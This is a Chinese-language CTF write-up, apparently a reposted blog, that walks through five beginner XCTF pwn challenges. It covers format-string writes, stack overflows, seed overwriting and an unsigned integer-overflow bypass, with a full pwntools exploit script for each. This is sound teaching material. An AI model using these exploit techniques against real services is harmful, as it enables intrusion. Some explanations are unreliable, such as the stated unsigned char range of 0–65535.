(攻防世界) -- pwn入門 -- 新手區1 -- CGfsb


⭐學習網站


肝就vans了


ctfwiki


⭐CGfsb - printf格式化字符



拿到附件,首先對其進行查看 checksec e41a0f684d0e497f87bb309f91737e4d


checksec e41a0f684d0e497f87bb309f91737e4d
[*] '/mnt/c/Users/11145/Desktop/e41a0f684d0e497f87bb309f91737e4d'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

回顧一下:


Arch: 程序架構。 該程序是 x86-32位-小段字節序號


RELRO: 在程序啟動時就解析所有動態符號/設置符號重定向表格(只讀),來減少對GOT表的攻擊


Stack:棧溢出保護


Nx:堆棧不可執行,即不可在棧上執行shellcode,要利用現成system等lib函數(如"\bin\sh")等


PIE:內存地址全隨機化


所以,將附件拖入32bitIDA中。老規矩 F5 或 shitf+F12 查看。追蹤到如下主函數:


  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }

顯然,pwnme==8 是得到flag的關鍵。雙擊追蹤:



顯然pwnme被設置為全局變量,根據之前 NO PIE 可知,地址不會改變 0804A068


接下來,就是要確定偏移量。printf(&s); 即:printf格式化字符


詳情可見大佬博客: 格式化字符串漏洞


因此,利用 如下,來確定偏移量。


aaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x


編寫exp


from pwn import *

p = remote('111.200.241.244', 45138)
addr_pwnme = 0x0804A068  #pwnme所在地址

p.recvuntil("please tell me your name:\n")
p.sendline('J1ay')

payload = p32(addr_pwnme) + b'a' * 0x4 + '%10$n'  # b'a' * 0x4 四個字節用於填充
p.recvuntil("leave your message please:\n")
p.sendline(payload)

p.interactive()


由於p32(addr_pwnme)占4個字節,而我們要讓其==8,必須給他再填充4個字節


%10$n 這里偏移量為10,%10$n 意思為 取第10個參數中的內容,以內容為地址寫入整體字符串的長度



cyberpeace{bdc5a8ec23eb96270e992665b1333e3f}

⭐when_did_you_born - 溢出



checksec 查看


root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec when_did_you_born
[*] '/mnt/c/Users/11145/Desktop/when_did_you_born'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


拖入IDA64中,選擇main函數 F5


查看偽碼



顯然我們要利用v4變量所在gets函數,通過覆蓋v5原本值,來實現v5值為1926。


因此,下一步就是確定v5/v4 變量所在地址:(雙擊查看)



編寫exp


from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0  #0/1切換本地調試
def main():
    if content == 1:
        J1ay = process("when_did_you_born")
    else:
        J1ay = remote("111.200.241.244",46071)

    payload = b'a' * (0x20-0x18) + p64(1926) #1926覆蓋值,(0x20-0x18)為v4和v5地址差值(偏移量)

    J1ay.recvuntil("What's Your Birth?\n")
    J1ay.sendline("2021")

    J1ay.recvuntil("What's Your Name?\n")
    J1ay.sendline(payload)

    J1ay.interactive()

main()

即可獲取



cyberpeace{65c64869ab65a0a82e11229c74b23e9e}

⭐hello_pwn - 溢出



同上題解法。簡單看一下IDA


puts("~~ welcome to ctf ~~     ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
    sub_400686(0LL, &unk_601068);

只需實現 dword_60106C == 1853186401 。跟上題類似。



可構造 payload = b'a' *(0x6C-0x68) 偏移量


payload = payload + p64(1853186401) 將 1853186401 數據 填充進去。


編寫exp


from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
def main():
    if content == 1:
        J1ay = process("hello_pwn")
    else:
        J1ay = remote("111.200.241.244",42801)

    payload = b'a' * (0x6c-0x68) + p64(1853186401)
    
    #J1ay.recvuntil("lets get helloworld for bof\n")
    J1ay.sendline(payload)

    J1ay.interactive()

main()

得到


cyberpeace{af41f61a47e0f993edc71bb012877046}

⭐guess_num - 隨機數-溢出



拿到附件,首先 checksec 一下


root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec guess_num
[*] '/mnt/c/Users/11145/Desktop/guess_num'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

拖進 64IDA中,


puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets((__int64)&v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
        puts("GG!");
        exit(1);
    }
    puts("Success!");
}
sub_C3E();
return 0LL;

sub_C3E() 函數


__int64 sub_C3E()
{
  printf("You are a prophet!\nHere is your flag!");
  system("cat flag");
  return 0LL;
}

顯然,在這里拿到flag。


現在來看主函數:



雙擊 gets ,追蹤到 seed


0000000000000030 var_30          db ?
............................................
0000000000000010 seed            dd 2 dup(?)

發現需 0x30-0x10 即覆蓋20個地址,就可到 seed[0]


進入循環,導入 from ctypes import *


利用 cdll.LoadLibrary("libc.so.6") 根據如下隨機數產生代碼

for ( i = 0; i <= 9; ++i ) // 循環10遍
{
	v6 = rand() % 6 + 1;
 .....................
}

編寫exp


from pwn import *
from ctypes import *

p = remote('111.200.241.244',38649)

# 隨機數循環
def srand():
    libc = cdll.LoadLibrary('libc.so.6')
    libc.srand(1)
    for i in range(10):
        p.recvuntil("Please input your guess number:")
        p.sendline(str(libc.rand()%6+1))

# gets函數覆蓋
p.recvuntil('Your name:')
payload = b'a' * (0x30 - 0x10) + p64(1)
p.sendline(payload)

# 隨機數循環
srand()

p.interactive()


⭐int_overflow - 無符號整型溢出



checksec 查看


root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec int_overflow
[*] '/mnt/c/Users/11145/Desktop/int_overflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

拖進IDA32里,查看 -- 主函數


 puts("---------------------");
 puts("~~ Welcome to CTF! ~~");
 puts("       1.Login       ");
 puts("       2.Exit        ");
 puts("---------------------");
 printf("Your choice:");
 __isoc99_scanf("%d", &v4);
 if ( v4 == 1 )
 {
 login();
 }
 else
 {
 if ( v4 == 2 )
 {
 puts("Bye~");
 exit(0);
 }
 puts("Invalid Choice!");
 }


顯然令v4=1,進入函數login


char *login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]
  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}


函數check_passwd()


char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}

以及發現 命令 cat flag ,也就是說,只要我們確定偏移量,將返回地址覆蓋到 804868B 即可拿到flag。



分析:


在函數check_passwd()


顯然可見


strcpy(&dest, s)


將 s 拷貝到dest,s是傳入的password。


如下: 只需 0x14+4 個字節就可溢出。



當然,有個問題就是,開頭對傳入的s長度 v3 進行了校驗,u 代表此為 無符號整型,長度必須在 4u-8u 間,但是我們需要18個字節,如何繞開?


無符號整型范圍為 0~65535 ,則我們可以利用無符號整型溢出,來實現繞過。


具體可以參照這篇大佬博客 c語言的整型溢出問題


簡單來說,就是溢出的值會與256求模,得到最終結果。


因此,本是 4--8,等價於 255+3 -- 255+8,即在259--263內就可實現繞過


編寫exp


from pwn import *

p = remote('111.200.241.244',52479)

p.recvuntil('Your choice:')
p.sendline("1")

p.recvuntil('Please input your username:\n')
p.sendline('J1ay')

payload = b'a' * (0x14 + 4) + p32(0x0804868B)
# v3取值在259-263
v3 = 259 
payload += b'a'*(v3 - len(payload))
p.recvuntil('Please input your passwd:\n')
p.sendline(payload)

p.interactive()


關於以上鏈接引用【侵權刪】


若有錯誤之處,還請多多指正~~


【轉載請放鏈接】 https://www.cnblogs.com/Jlay/p/pwn_CGfsb.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM